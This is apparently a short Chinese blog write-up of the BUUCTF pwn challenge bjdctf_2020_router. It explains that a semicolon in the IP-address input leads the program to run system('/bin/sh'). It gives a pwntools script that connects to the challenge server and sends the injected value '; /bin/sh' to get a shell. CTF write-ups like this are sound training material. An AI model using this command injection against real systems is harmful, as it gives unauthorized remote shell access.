[BUUCTF-pwn]——bjdctf_2020_router

原创于 2021-03-16 14:16:02 发布 · 413 阅读

CC 4.0 BY-SA版权

89 篇文章

订阅专栏

本文介绍了一个在BJDCTF_2020比赛中的Router题目中存在的关键漏洞，通过发送特定的输入可以触发system调用执行/bin/sh命令，实现了远程代码执行。利用Python的pwn库构造了相应的payload并成功获取shell。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

关键漏洞，如果输入； /bin/sh 就会执行system("/bin/sh")
分号是分割符

在这里插入图片描述

from pwn import *
p = remote("node3.buuoj.cn",27911)


p.sendline('1')
p.sendafter("Please input the ip address:\n", "; /bin/sh\x00")
p.interactive()